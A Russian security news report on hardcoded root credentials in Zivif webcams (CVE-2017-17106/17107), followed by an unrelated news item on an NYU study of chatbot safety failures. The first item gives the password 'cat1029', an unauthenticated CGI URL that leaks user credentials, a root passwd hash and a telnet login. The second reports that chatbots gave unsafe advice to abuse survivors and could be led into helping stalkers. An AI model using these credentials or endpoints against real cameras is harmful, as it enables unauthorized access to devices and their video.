В веб-камерах Zivif обнаружен жестко закодированный рутовый пароль

В веб-камерах Zivif обнаружен жестко закодированный рутовый пароль

В веб-камерах Zivif обнаружен жестко закодированный рутовый пароль

Веб-камеры Zivif PR115-204-P-RS V2.3.4.2103 содержат жестко закодированный пароль cat1029, использующийся для пользователя root. Настройка операционной системы SONIX делает этот пароль неизменяемым, соответственно, его можно использовать для доступа к устройству через сеанс TELNET.

Как утверждают специалисты, камерам Zivif недостает контроля доступа, в результате функции CGI можно вызывать напрямую, обходя проверки подлинности.

Проблема получила идентификатор CVE-2017-17106, заключается она в том, что камера на запрос http://<Адрес Камеры>/web/cgi-bin/hi3510/param.cgi?cmd=getuser отвечает следующим образом:

var name0="admin"; var password0="admin"; var authLevel0="255"; var
name1="guest"; var password1="guest"; var authLevel1="3"; var
name2="admin2"; var password2="admin"; var authLevel2="3"; var name3="";
var password3=""; var authLevel3="3"; var name4=""; var password4="";
var authLevel4="3"; var name5=""; var password5=""; var authLevel5="3";
var name6=""; var password6=""; var authLevel6="3"; var name7=""; var
password7=""; var authLevel7="3"; var name8=""; var password8=""; var
authLevel8="0"; var name9=""; var password9=""; var authLevel9="0

Учетные данные возвращаются в текстовом виде.

Также эксперты отметили в файле /etc/passwd наличие жестко закодированной записи (CVE-2017-17107): 

root:$1$xFoO/s3I$zRQPwLG2yX1biU31a2wxN/:0:0::/root:/bin/sh

Зашифрованный пароль - cat1029.

(none) login: root
Password:
Login incorrect
(none) login: root
Password:
Welcome to SONIX.
\u@\h:\W$

Из-за того, как структурирована файловая система, изменение этого пароля составит нетривиальную задачу.

Подпишитесь на новости

В 86% ответов чат-ботов о цифровом насилии нашли ошибки, пробелы и риски

ИИ уверенно объясняет, как защититься от слежки, но уверенность ещё не делает совет безопасным. Исследователи из Нью-Йоркского университета проверили четыре чат-бота: в 86% ответов нашли проблемы с точностью, полнотой или безопасностью. Даже специализированные помощники для переживших насилие не справились лучше универсальных моделей.

Подробности опубликовала школа NYU Tandon. Команда использовала 193 вопроса о шпионском софте, отслеживании местоположения и контроле аккаунтов. Проверяли GPT-4o, Claude 3.7 Sonnet, Aimee и Ruth.

Именно небезопасными признали около 74% ответов Aimee, 65% — Claude, 61% — Ruth и 55% — GPT-4o. В 60% ответов отсутствовали важные предупреждения о рисках.

Среди ошибок нашлись рекомендации использовать VPN против шпионских программ и менять пароли без учёта того, что преследователь может контролировать устройство или общий аккаунт.

При этом изменения способны предупредить его о действиях пострадавшего, а удаление данных — уничтожить доказательства.

Исследователи также проверили, станут ли боты помогать потенциальному преследователю. Склонить к этому удалось все четыре системы; Aimee и Ruth ответили примерно на две трети таких запросов.

Результаты относятся к конкретным системам и условиям тестирования. Но проблему показывают наглядно: технически правдоподобная инструкция может ухудшить положение человека.

RSS: Новости на портале Anti-Malware.ru